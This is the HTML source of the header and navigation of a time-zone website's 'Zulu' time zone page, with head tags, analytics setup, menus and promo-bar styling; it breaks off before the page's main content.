	<link rel="apple-touch-icon" sizes="144x144"
		href="/static/apple-touch-icon-144x144.png">
	<link rel="apple-touch-icon" sizes="152x152"
		href="/static/apple-touch-icon-152x152.png">
	<link rel="apple-touch-icon" sizes="167x167"
		href="/static/apple-touch-icon-167x167.png">
	<link rel="apple-touch-icon" sizes="180x180"
		href="/static/apple-touch-icon-180x180.png">
	<link rel="apple-touch-icon" sizes="1024x1024"
		href="/static/apple-touch-icon-1024x1024.png">

	<link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png">
	<link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png">
	<link rel="icon" type="image/png" sizes="48x48" href="/static/favicon-48x48.png">
	<link rel="icon" type="image/png" sizes="64x64" href="/static/favicon-64x64.png">
	<link rel="icon" type="image/png" sizes="128x128" href="/static/favicon-128x128.png">
	<link rel="icon" type="image/png" sizes="256x256" href="/static/favicon-256x256.png">


	<link rel="manifest" href="/static/site.webmanifest">
	<meta name="msapplication-TileImage" content="/static/mstile-144x144.png">





	<!-- Meta Description -->
	<meta name="description"
		content="View the current local time, countries, and cities for the Zulu time zone. Includes +00:00 UTC offset.">

	<!-- Robots Tag (defaults to 'index, follow') -->
	<meta name="robots" content="index, follow">

	<!-- Canonical URL — locale pages canonical to themselves -->
	
	
	<link rel="canonical" href="https://time.now/iana-time-zone/zulu/">

	
	<link rel="alternate" type="application/rss+xml" title="time.now editorial + buyer's guides" href="/feed.xml">

	
	
	<link rel="alternate" hreflang="en" href="https://time.now/iana-time-zone/zulu/">
	<link rel="alternate" hreflang="es" href="https://time.now/es/iana-time-zone/zulu/">
	<link rel="alternate" hreflang="fr" href="https://time.now/fr/iana-time-zone/zulu/">
	<link rel="alternate" hreflang="x-default" href="https://time.now/iana-time-zone/zulu/">
	





	<!-- Bootstrap CSS -->
	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
	<link rel="stylesheet" href="/static/css/styles.css">
	<!-- Font Awesome for Icons: loaded async (preloaded above) so it no longer blocks first paint -->
	<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" rel="stylesheet"
		media="print" onload="this.media='all'; this.onload=null;">
	<noscript>
		<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" rel="stylesheet">
	</noscript>

	


	<link rel="stylesheet" href="https://www.restomp-excity.online/style.min.css" />
	<link rel="stylesheet" href="/static/css/base-head.css?v=1">










<!-- Matomo -->
<script>
  var _paq = window._paq = window._paq || [];
  /* tracker methods like "setCustomDimension" should be called before "trackPageView" */
  _paq.push(['trackPageView']);
  _paq.push(['enableLinkTracking']);
  (function() {
    var u="//tracking.time.now/";
    _paq.push(['setTrackerUrl', u+'matomo.php']);
    _paq.push(['setSiteId', '4']);
    var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
    g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
  })();
</script>
<!-- End Matomo Code -->
</head>

<body class="">


	<!-- MOBILE LOGIC -->
	

	<!--<a href="/countdown/2026/" class="mobile-countdown-link d-lg-none">2026 Countdown</a> -->



	<!-- Navbar with logo on the left and folder tabs on the right -->
	<nav class="navbar navbar-expand-lg navbar-light bg-transparent fixed-top-mobile position-relative">
		<!-- Kept d-flex for Desktop stability, added flex-wrap to fix the mobile animation squeeze -->
		<div class="container-fluid d-flex flex-wrap align-items-center p-0">

			<!-- MOBILE TOP HEADER ROW (Wrapped in its own 100% width div so it NEVER gets squished) -->
			<div class="d-flex justify-content-between align-items-center w-100 d-lg-none px-2"
				style="min-height: 48px;">

				<!-- Logo -->
				<a class="navbar-brand fw-bold js-logo m-0 flex-shrink-0"
					href="/" title="Time.now"><span aria-hidden="true">⏱️</span> Time.now</a>

				<!-- Online Clock Button -->
				<!--<a href="/clock/" class="mobile-countdown-link flex-shrink-0" style="margin: 0 auto !important;">Online Clock</a>-->

				<a href="/clock/" class="mobile-countdown-link flex-shrink-0"
					style="margin: 0 auto 0 8px !important; background-color: #333 !important; display: flex; align-items: center; gap: 5px;">
					<i class="fas fa-clock"></i>
					<span id="header-live-clock">00:00:00</span>
				</a>



				<!-- Icons + Toggler Group -->
				<div class="d-flex align-items-center flex-shrink-0 mobile-header-icons" style="gap: 6px;">
					<a href="https://apps.apple.com/app/id6759625108" id="ios-download-btn-mobile"
						class="header-icon-link" title="Download iOS App" style="display:none; margin:0;">
						<i class="fas fa-download"></i>
					</a>

					<a href="/premium/" class="header-icon-link" title="Premium Support">
						<i class="fas fa-crown crown-glow"></i>
					</a>

					<!-- LOGGED OUT -->
					<div class="logged-out-only">
						<a href="/login/" class="header-icon-link" title="Login" style="margin:0;">
							<i class="fas fa-user-circle"></i>
						</a>
					</div>

					<!-- LOGGED IN -->
					<div class="logged-in-only">
						<a href="/account/" class="header-icon-link" title="My Account"
							style="margin:0; text-decoration: none;">
							<div class="user-avatar-circle js-avatar-initial">?</div>
						</a>
					</div>

					<!-- Language Switcher -->
					<div class="lang-switcher" style="display:flex !important;">
						<div class="lang-current" id="lang-toggle" title="Change language">
							<span class="flag-emoji">🇬🇧</span>
						</div>
						<div class="lang-dropdown" id="lang-dropdown">
							
							
							
							
							
							
							
								
								<a href="/iana-time-zone/zulu/"
								   hreflang="en"
								   class="lang-option active">
									<span class="lang-flag">🇬🇧</span> English
								</a>
							
								
								<a href="/es/iana-time-zone/zulu/"
								   hreflang="es"
								   class="lang-option ">
									<span class="lang-flag">🇪🇸</span> Español
								</a>
							
								
								<a href="/fr/iana-time-zone/zulu/"
								   hreflang="fr"
								   class="lang-option ">
									<span class="lang-flag">🇫🇷</span> Français
								</a>
							
						</div>
					</div>
					<script>
					(function(){
						var t=document.getElementById('lang-toggle'),d=document.getElementById('lang-dropdown');
						if(!t||!d)return;
						t.addEventListener('click',function(e){e.stopPropagation();d.classList.toggle('open');});
						document.addEventListener('click',function(e){if(!t.contains(e.target)&&!d.contains(e.target))d.classList.remove('open');});
					})();
					</script>

					<!-- ADD THIS BUTTON BELOW - THIS IS THE MISSING HAMBURGER -->
					<button class="navbar-toggler p-0 border-1 shadow-none" type="button" data-bs-toggle="collapse"
						data-bs-target="#themeMenu" aria-controls="themeMenu" aria-expanded="false"
						aria-label="Toggle navigation">
						<span class="navbar-toggler-icon"></span>
					</button>
				</div>

			</div>



			<!-- Folder tab navigation for themes, collapsible in mobile view -->
			<div class="collapse navbar-collapse" id="themeMenu">
				<ul class="nav nav-tabs ms-auto">




					<!-- Check if g.categories exists and has items -->

					<!-- Static New tab -->
					<li class="nav-item d-lg-none"> <!-- This LI will only show on mobile (screens smaller than LG) -->
						<div class="mobile-search-nav-link-style"> <!-- This div will be styled like a nav-link -->
							<!-- Form no longer needs d-flex, mx-2, flex-grow-1 as styling is handled by the wrapper -->
							<form action="/search" method="get" role="search"
								class="mobile-header-search-form">
								<div class="input-group input-group-sm">
									<!-- Consider a shorter placeholder for mobile -->
									<input type="search" name="q" class="form-control"
										placeholder="Search Cities, Countries &amp; Time Zones..." aria-label="Search">
									<button class="btn btn-mobile-custom-search" type="submit" aria-label="Search">
										<i class="fas fa-search"></i>
									</button>
								</div>
							</form>
						</div>
					</li>

					<li class="nav-item">
						<a class="nav-link" href="/continents/"
							title="World Time by Continent">🌍 Continents</a>
					</li>
					<li class="nav-item">
						<a class="nav-link "
							href="/countries/" title="Time now in all countries">🗺️
							Countries</a>
					</li>
					<li class="nav-item">
						<a class="nav-link "
							href="/cities/" title="Time now in all cities">🏙️
							Cities</a>
					</li>
					<li class="nav-item">
						<a class="nav-link" href="/top/" title="Top city rankings">🏆 Rankings</a>
						</li>
						<li class="nav-item">
							<a class="nav-link "
							href="/regions/"
							title="Time in all states and regions worldwide">🏴 Regions</a>
					</li>
					<li class="nav-item">
						<a class="nav-link "
							href="/timezones/" title="Time now in all time zones"><span aria-hidden="true">⏰</span> Time
							Zones</a>
					</li>
					<li class="nav-item">
						<a class="nav-link "
							href="/iana-time-zone/"
							title="Time now in all IANA time zones">🌐 IANA <span class="nav-text-mobile-only">Time
								Zones</span></a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/time-zone-map/"
							title="Interactive Time Zone Map">🌍 Time Zone Map</a>
					</li>


					<!-- 1. Countdown & Reminder Utilities -->
					<li class="nav-item">
						<a class="nav-link" href="/categories/countdown-and-reminder-utilities/"
							title="Countdown &amp; Reminder Utilities">
							<span>⏳</span>
							<span class="nav-text-mobile-only"> Countdown Utilities</span>
						</a>
					</li>

					<!-- 2. Date-Time Format Converters -->
					<li class="nav-item">
						<a class="nav-link" href="/categories/date-time-format-converters/"
							title="Date-Time Format Converters">
							<span>🔡</span>
							<span class="nav-text-mobile-only"> Format Converters</span>
						</a>
					</li>

					<!-- 3. Timers -->
					<li class="nav-item">
						<a class="nav-link" href="/categories/timers/" title="Timer Tools">
							<span>⏲️</span>
							<span class="nav-text-mobile-only"> Timer Tools</span>
						</a>
					</li>
					<!-- 4. Prayer Times -->
					<li class="nav-item">
						<a class="nav-link" href="/prayer-times/" title="Prayer Times">
							<span>🕌</span>
							<span class="nav-text-mobile-only"> Prayer Times</span>
						</a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/weather/" title="Weather">🌦️
							Weather</a>
					</li>

					<!-- Free Widgets Hub -->
					<li class="nav-item">
						<a class="nav-link "
							href="/free-widgets/"
							title="Free Embeddable Widgets for Your Website">🔧
							Free Widgets</a>
					</li>




					

					<!-- Check if g.categories exists and has items -->
					

					<!-- Loop through all available categories -->
					

					<!-- STEP 2: Check if the current categorys name is a key in our special dictionary -->
					
					

					<!-- STEP 2: Check if the current categorys name is a key in our special dictionary -->
					
					

					<!-- STEP 2: Check if the current categorys name is a key in our special dictionary -->
					

					<!-- If its a match, get our custom data for it -->
					

					<li class="nav-item">
						<a class="nav-link "
							href="/categories/time-zone-converters/">

							<!-- STEP 3: Use the custom icon and display name from our dictionary -->
							<span class="nav-icon">🔁</span>
							<span class="nav-text">Convert Time Zone</span>

						</a>
					</li>

					
					

					<!-- STEP 2: Check if the current categorys name is a key in our special dictionary -->
					
					
					


					<!--<li class="nav-item">
					            <a class="nav-link " 
					               href="/tags/">🏷️ <span class="nav-text-mobile-only">Tags</span></a>
					        </li>-->

					<li class="nav-item">
						<a class="nav-link "
							href="/aqi/" title="Air Quality Index"><span aria-hidden="true">🌬️</span> AQI</a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/eclipses/" title="Solar and Lunar Eclipses">🌑
							Eclipses</a>
					</li>

					
					<!--<li class="nav-item">
								    <a class="nav-link "
								       href="/world-clock/" title="World Clock"><span aria-hidden="true">🌎</span> World Clock</a>
								</li> -->

					<!--<li class="nav-item">
								                                <a class="nav-link " 
								                                   href="/events/" title="Events"><span aria-hidden="true">📅</span> Events</a>
								                            </li>
			                    
			                    <li class="nav-item">
			                        <a class="nav-link "
			                           href="/event-planner/" title="Event Planner">🗓️ <span class="nav-text-mobile-only">Event</span> Planner</a>
			                    </li>-->

					<li class="nav-item">
						<a class="nav-link "
							href="/sunrise/" title="Sunrise Times"><span aria-hidden="true">🌅</span> Sunrise</a>
					</li>
					<li class="nav-item">
						<a class="nav-link "
							href="/sunset/" title="Sunset Times"><span aria-hidden="true">🌇</span> Sunset</a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/clock/" title="Clock"><span aria-hidden="true">🕰️</span> Clock</a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/holidays/" title="Holidays"><span aria-hidden="true">🎉</span> Holidays</a>
					</li>

					

					
					<li class="nav-item">
						<a class="nav-link "
							href="/calendar/" title="Calendar"><span aria-hidden="true">📆</span> Calendar</a>
					</li>
					

					<li class="nav-item">
						<a class="nav-link "
							href="/faq/" title="Frequently Asked Questions"><span aria-hidden="true">❓</span> FAQ</a>
					</li>

					<!--  (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/timezones/military/"
							title="Military Time Zones">🎖️ Military Time <span
								class="nav-text-mobile-only">Zones</span></a>
					</li>



					<li class="nav-item">
						<a class="nav-link "
							href="/time/calculator/" title="Time Calculator">⏳ Time
							Calculator</a>
					</li>
					<li class="nav-item">
						<a class="nav-link "
							href="/countdown/" title="Countdown Timers">⏳ <span
								class="nav-text">Countdown</span></a>
					</li>



					<li class="nav-item">
						<a class="nav-link "
							href="/alarm/" title="Alarm"><span aria-hidden="true">⏰</span> Alarm</a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/week-number/" title="Current Week Number">🗓️
							Week <span class="nav-text-mobile-only">Number</span></a>
					</li>

					<li class="nav-item">
						<a class="nav-link "
							href="/age/" title="Age Calculators">🎂 Age <span
								class="nav-text-mobile-only">Calculators</span></a>
					</li>
					
					
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/islamic-calendar/" title="Islamic Calendar"><span aria-hidden="true">☪️</span> Islamic Calendar</a>
					</li>

					
					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/day/" title="On This Day"><span aria-hidden="true">📅</span> On This Day</a>
					</li>

					<!-- EVENTS (Dropdown/Mobile) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/events/" title="Events"><span aria-hidden="true">📅</span> Events</a>
					</li>

					<!-- PLANNER (Dropdown/Mobile) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/event-planner/" title="Event Planner">🗓️
							Planner</a>
					</li>


					<!-- YOUTUBE LIVE CLOCKS (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/youtube-live-clocks/" title="YouTube Live Clocks">🔴 <span
								class="nav-text-mobile-only">Youtube</span> Live Clocks</a>
					</li>

					<!-- STOPWATCH (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/stopwatch/" title="Stopwatch"><span aria-hidden="true">⏱️</span> <span
								class="nav-text-mobile-only">Stopwatch</span></a>
					</li>

					<!-- TIMER (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/timer/" title="Timer"><span aria-hidden="true">⏲️</span> <span
								class="nav-text-mobile-only">Timer</span></a>
					</li>

					<!-- UTC TIME (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link"
							href="/timezones/utc/" title="UTC Time Now">🌐 <span
								class="nav-text-mobile-only">UTC Time Now</span></a>
					</li>

					<!-- GMT TIME (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link"
							href="/timezones/gmt/" title="GMT Time Now">🕐 <span
								class="nav-text-mobile-only">GMT Time Now</span></a>
					</li>

					<!-- NEW TOOLS (Mobile Only) -->
					<!--<li class="nav-item d-lg-none">
							    <a class="nav-link " 
							       href="/new/" title="New Tools">🆕 <span class="nav-text-mobile-only">New</span></a>
							</li> -->


					<!-- <li class="nav-item d-lg-none">
							    <a class="nav-link " 
							       href="/age/" title="Age Calculators">🎂 Age <span class="nav-text-mobile-only">Calculators</span></a>
							</li> -->


					<!-- EPOCH CONVERTER (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/tool/epoch-converter/" title="Epoch Converter">
							🔢 <span class="nav-text-mobile-only">Epoch</span> Converter
						</a>
					</li>

					<!-- MILITARY TIME CHART (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/tool/military-time-chart/" title="Military Time Chart">
							📋 <span class="nav-text-mobile-only">Military</span> Chart
						</a>
					</li>

					<!-- CLASSROOM TIMER (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/tool/classroom-timer/" title="Classroom Timer">
							🏫 <span class="nav-text-mobile-only">Class</span> Timer
						</a>
					</li>

					<!-- CHINESE CALENDAR CALCULATOR (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/tool/chinese-calendar-calculator/"
							title="Chinese Calendar Calculator">
							🏮 <span class="nav-text-mobile-only">Chinese</span> Calendar
						</a>
					</li>

					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/unix/"><span aria-hidden="true">🖥️</span> Unix Time</a>
					</li>

					<!-- FRIENDLY REMINDER (Commented out for later)
							<li class="nav-item d-lg-none">
							    <a class="nav-link" href="/tool/friendly-reminder/" title="Friendly Reminder">
							        🔔 <span class="nav-text-mobile-only">Friendly</span> Reminder
							    </a>
							</li>
							-->

					<!-- STAGE TIMER (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link" href="/stage-timer/"
							title="Professional Stage Timer">
							🎤 <span class="nav-text-mobile-only">Stage</span> Timer
						</a>
					</li>

					<!-- DAYLIGHT SAVINGS TIME (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/time/change/"
							title="Daylight Savings Time Changes Worldwide">
							<span aria-hidden="true">⏰</span> <span class="nav-text-mobile-only">Daylight Savings Time</span> Changes
						</a>
					</li>



					<!-- ARTICLES (Mobile Only) -->
					<li class="nav-item d-lg-none">
						<a class="nav-link "
							href="/articles/" title="All Articles">📰
							<span class="nav-text-mobile-only">Articles</span></a>
					</li>

					<!-- BLOG (Mobile Only) -->
					<!--<li class="nav-item d-lg-none">
							    <a class="nav-link " 
							       href="/blog/" title="Blog">📚 <span class="nav-text-mobile-only">Blog</span></a>
							</li> -->






					<!--
						        <li class="nav-item">
						            <a class="nav-link " 
						               href="/alarm/" title="Alarm"><span aria-hidden="true">⏰</span> <span class="nav-text-mobile-only">Alarm</span></a>
						        </li>
						        <li class="nav-item">
						            <a class="nav-link " 
						               href="/stopwatch/" title="Stopwatch"><span aria-hidden="true">⏱️</span> <span class="nav-text-mobile-only">Stopwatch</span></a>
						        </li>
						        <li class="nav-item">
						            <a class="nav-link " 
						               href="/timer/" title="Timer"><span aria-hidden="true">⏲️</span> <span class="nav-text-mobile-only">Timer</span></a>
						        </li>
					        <li class="nav-item">
					            <a class="nav-link " 
					               href="/new/" title="New Tools">🆕 <span class="nav-text-mobile-only">New</span></a>
					        </li>
							
							<li class="nav-item">
							    <a class="nav-link " 
							       href="/articles/" title="All Articles">📰 <span class="nav-text-mobile-only">Articles</span></a>
							</li>
								
							<li class="nav-item">
							    <a class="nav-link " 
							       href="/blog/" title="Blog">📚 <span class="nav-text-mobile-only">Blog</span></a>
							</li>
							-->

				</ul>
			</div>
		</div>
	</nav>




	<!-- Full Width Search Bar -->
	<div id="full-width-search-bar">
		<div class="container d-flex flex-column align-items-start">

			<!-- Top Row: Logo + Search + Toggle Button -->
			<div class="d-flex align-items-center w-100">
				<!-- Desktop Logo -->
				<a class="navbar-brand fw-bold js-logo d-none d-lg-block me-3 text-nowrap"
					href="/" title="Time.now"
					style="font-size: 1.5rem; color: black; text-decoration: none;">
					<span aria-hidden="true">⏱️</span> Time.now
				</a>

				<form action="/search" method="get" role="search" class="flex-grow-1">
					<div class="input-group">
						<input type="search" name="q" id="full-width-search-input" class="form-control form-control-lg"
							placeholder="Search Time.now for cities, countries, timezones..."
							aria-label="Search site">
						<button class="btn btn-secondary" type="submit" aria-label="Search">
							<i class="fas fa-search"></i>
						</button>
					</div>
				</form>


				<!-- DESKTOP ACTION ICONS -->
				<div class="d-none d-lg-flex align-items-center ms-3" style="gap: 15px;">

					<a href="/premium/" class="header-icon-link" title="Premium"
						style="font-size: 1.4rem;">
						<i class="fas fa-crown crown-glow"></i>
					</a>

					<!-- LOGGED OUT ICON (Guest) -->
					<div class="logged-out-only">
						<a href="/login/" class="header-icon-link" title="Login" style="margin:0;">
							<i class="fas fa-user-circle"></i>
						</a>
					</div>

					<!-- LOGGED IN ICON (User) -->
					<div class="logged-in-only">
						<a href="/account/" class="header-icon-link" title="My Account"
							style="margin:0; text-decoration: none;">
							<div class="user-avatar-circle js-avatar-initial">?</div>
						</a>
					</div>

					<!-- Language Switcher (Desktop) -->
					<div class="lang-switcher" style="display:flex !important;">
						<div class="lang-current" id="lang-toggle-desktop" title="Change language">
							<span class="flag-emoji">🇬🇧</span>
						</div>
						<div class="lang-dropdown" id="lang-dropdown-desktop">
							
							
							
							
							
							
								
								<a href="/iana-time-zone/zulu/"
								   hreflang="en"
								   class="lang-option active">
									<span class="lang-flag">🇬🇧</span> English
								</a>
							
								
								<a href="/es/iana-time-zone/zulu/"
								   hreflang="es"
								   class="lang-option ">
									<span class="lang-flag">🇪🇸</span> Español
								</a>
							
								
								<a href="/fr/iana-time-zone/zulu/"
								   hreflang="fr"
								   class="lang-option ">
									<span class="lang-flag">🇫🇷</span> Français
								</a>
							
						</div>
					</div>
					<script>
					(function(){
						var t=document.getElementById('lang-toggle-desktop'),d=document.getElementById('lang-dropdown-desktop');
						if(!t||!d)return;
						t.addEventListener('click',function(e){e.stopPropagation();d.classList.toggle('open');});
						document.addEventListener('click',function(e){if(!t.contains(e.target)&&!d.contains(e.target))d.classList.remove('open');});
					})();
					</script>

					<button class="btn btn-link text-dark p-0" type="button" id="menu-toggle-btn"
						data-bs-toggle="collapse" data-bs-target="#expandable-menu">
						<i class="fas fa-bars fa-fw" id="menu-icon" style="font-size: 1.4rem;"></i>
					</button>


				</div>




				<!--
            <button class="btn btn-link text-dark ms-3 text-decoration-none" 
                    type="button" 
                    id="menu-toggle-btn"
                    data-bs-toggle="collapse" 
                    data-bs-target="#expandable-menu" 
                    aria-expanded="false" 
                    aria-controls="expandable-menu"
                    style="font-size: 1.5rem; min-width: 50px; text-align: center;">
               
                <i class="fas fa-bars fa-fw" id="menu-icon"></i>
            </button> -->
			</div>

			<!-- HIDDEN MENU (Expands Below) -->
			<div class="collapse w-100 mt-3" id="expandable-menu">
				<div class="card card-body bg-light border-0">
					<div class="row text-center">

						<!-- YOUTUBE -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/youtube-live-clocks/"
								class="text-decoration-none text-dark d-block p-2" title="Alarm">
								<div style="width: 2rem; height: 2rem; margin: 0 auto;">
									<svg viewBox="0 0 24 24" fill="#FF0000" xmlns="http://www.w3.org/2000/svg">
										<path
											d="M23.498 6.186a3.016 3.016 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.017 3.017 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.016 3.016 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.015 3.015 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814zM9.545 15.568V8.432L15.818 12l-6.273 3.568z" />
									</svg>
								</div>
								YouTube Live Clocks
							</a>
						</div>

						<!-- MILITARY TIME -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/timezones/military/"
								class="text-decoration-none text-dark d-block p-2" title="Military Time Zones">
								<div style="font-size: 2rem;">🎖️</div>
								Military Time Zones
							</a>
						</div>


						<!-- UNIX TIME -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/unix/"
								class="text-decoration-none text-dark d-block p-2" title="Unix Time now">
								<div style="font-size: 2rem;">🖥️</div>
								Unix Time
							</a>
						</div>


						<!-- STOPWATCH -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/stopwatch/"
								class="text-decoration-none text-dark d-block p-2" title="Online Stopwatch">
								<div style="font-size: 2rem;">⏱️</div>
								Stopwatch
							</a>
						</div>

						<!-- TIMER -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/timer/"
								class="text-decoration-none text-dark d-block p-2" title="Online Timer">
								<div style="font-size: 2rem;">⏲️</div>
								Timer
							</a>
						</div>

						<!-- NEW -->
						<!--<div class="col-4 col-md-2 mb-2">
                        <a href="/new/" class="text-decoration-none text-dark d-block p-2" title="New Tools">
                            <div style="font-size: 2rem;">🆕</div>
                            <span class="small fw-bold">New</span>
                        </a>
                    </div> -->

						<div class="col-4 col-md-2 mb-2">
							<a href="/events/"
								class="text-decoration-none text-dark d-block p-2" title="Events">
								<div style="font-size: 2rem;">📅</div>
								Events
							</a>
						</div>


						<!-- UTC TIME NOW -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/timezones/utc/"
								class="text-decoration-none text-dark d-block p-2" title="UTC Time Now">
								<div style="font-size: 2rem;">🌐</div>
								UTC Time
							</a>
						</div>

						<!-- GMT TIME NOW -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/timezones/gmt/"
								class="text-decoration-none text-dark d-block p-2" title="GMT Time Now">
								<div style="font-size: 2rem;">🕐</div>
								GMT Time
							</a>
						</div>

						<!-- EPOCH CONVERTER -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/tool/epoch-converter/" class="text-decoration-none text-dark d-block p-2"
								title="Epoch Converter">
								<div style="font-size: 2rem;">🔢</div>
								Epoch Converter
							</a>
						</div>

						<!-- MILITARY TIME CHART -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/tool/military-time-chart/" class="text-decoration-none text-dark d-block p-2"
								title="Military Time Chart">
								<div style="font-size: 2rem;">📋</div>
								Military Chart
							</a>
						</div>

						<!-- CLASSROOM TIMER -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/tool/classroom-timer/" class="text-decoration-none text-dark d-block p-2"
								title="Classroom Timer">
								<div style="font-size: 2rem;">🏫</div>
								Class Timer
							</a>
						</div>

						<!-- CHINESE CALENDAR CALCULATOR -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/tool/chinese-calendar-calculator/"
								class="text-decoration-none text-dark d-block p-2" title="Chinese Calendar Calculator">
								<div style="font-size: 2rem;">🏮</div>
								Chinese Calendar
							</a>
						</div>

						<!-- FRIENDLY REMINDER (Commented out for later) -->
						<!-- 
										<div class="col-4 col-md-2 mb-2">
										    <a href="/tool/friendly-reminder/" class="text-decoration-none text-dark d-block p-2" title="Friendly Reminder">
										        <div style="font-size: 2rem;">🔔</div>
										        <span class="small fw-bold">Reminder</span>
										    </a>
										</div> 
										-->


						<!-- STAGE TIMER -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/stage-timer/"
								class="text-decoration-none text-dark d-block p-2" title="Professional Stage Timer">
								<div style="font-size: 2rem;">🎤</div>
								Stage Timer
							</a>
						</div>





						<!-- NEWS (Articles) -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/articles/"
								class="text-decoration-none text-dark d-block p-2" title="Articles &amp; News">
								<div style="font-size: 2rem;">📰</div>
								Articles
							</a>
						</div>

						<!-- LIBRARY (Blog) -->
						<!-- <div class="col-4 col-md-2 mb-2">
                        <a href="/blog/" class="text-decoration-none text-dark d-block p-2" title="Blog Library">
                            <div style="font-size: 2rem;">📚</div>
                            <span class="small fw-bold">Blog</span>
                        </a>
                    </div> -->

						<!-- EVENT PLANNER -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/event-planner/"
								class="text-decoration-none text-dark d-block p-2" title="Event Planner">
								<div style="font-size: 2rem;">🗓️</div>
								Event Planner
							</a>
						</div>

						<!-- ISLAMIC CALENDAR -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/islamic-calendar/"
								class="text-decoration-none text-dark d-block p-2"
								title="Islamic Calendar">
								<div style="font-size: 2rem;">☪️</div>
								Islamic Calendar
							</a>
						</div>

						<!-- ON THIS DAY -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/day/"
								class="text-decoration-none text-dark d-block p-2"
								title="On This Day">
								<div style="font-size: 2rem;">📅</div>
								On This Day
							</a>
						</div>

						<!-- DAYLIGHT SAVINGS TIME INDEX -->
						<div class="col-4 col-md-2 mb-2">
							<a href="/time/change/"
								class="text-decoration-none text-dark d-block p-2"
								title="Daylight Savings Time (DST) Changes Worldwide">
								<div style="font-size: 2rem;">⏰</div>
								Daylight Savings Time Changes
							</a>
						</div>


					</div>
				</div>
			</div>


			<style>
				/* 1. Main Container - The Red Dashed Bar */
				.desktop-countdown-promo .promo-bar-style {
					display: flex;
					flex-wrap: wrap;
					align-items: center;
					background: #fff5f5;

					/* THE FIX: Adding margin ensures the dashed border doesn't touch the parent edge */
					margin: 2px 1px !important;
					border: 1px dashed #d9534f !important;

					/* Slim but safe padding */
					padding: 6px 15px !important;
					border-radius: 8px;
					color: #333;
					font-size: 0.9rem;
					width: 100%;
					gap: 8px;

					/* Forces the browser to render the border on its own layer to prevent clipping */
					transform: translateZ(0);
					overflow: visible !important;
				}

				.promo-label-group {
					display: flex;
					align-items: center;
					font-weight: 700;
					margin-right: 2px;
					color: #333;
				}

				/* 2. THE PILLS - Stable and centered */
				.event-inline-link {
					display: inline-flex !important;
					align-items: center;
					background-color: #ffffff !important;
					border: 1px solid #f5c6cb !important;
					padding: 2px 10px !important;
					border-radius: 4px;
					color: #d9534f !important;
					font-weight: 600;
					text-decoration: none !important;
					font-size: 0.82rem !important;
					white-space: nowrap;
					line-height: 1.4 !important;
					transition: all 0.1s ease-in-out;
				}

				/* 3. THE HOVER - Pure color swap */
				.event-inline-link:hover {
					background-color: #d9534f !important;
					color: #ffffff !important;
					border-color: #d9534f !important;
					text-decoration: none !important;
				}

				/* Calendar Icon at the end */
				.promo-bar-style>span:last-child {
					margin-left: auto;
					font-size: 0.9rem;
				}

				/* Fix for the Clock Link version to match the slim height */
				.desktop-countdown-promo a.promo-bar-link-clock {
					display: flex;
					align-items: center;
					background: #fff5f5;
					border: 1px dashed #d9534f;
					padding: 8px 15px;
					border-radius: 8px;
					text-decoration: none;
					color: #333;
					margin: 2px 1px;
				}
			</style>

			<!-- DESKTOP LOGIC (Dynamic Promo Bar) -->
			<div class="desktop-countdown-promo d-none d-lg-block mt-2">
				
				<div class="promo-bar-style">
					<div class="promo-label-group">
						<i class="fas fa-calendar-alt me-2" style="color: #d9534f;"></i>
						
						<a href="/events/"
						   class="promo-upcoming-link"
						   style="color: inherit; text-decoration: none; font-weight: 600;">
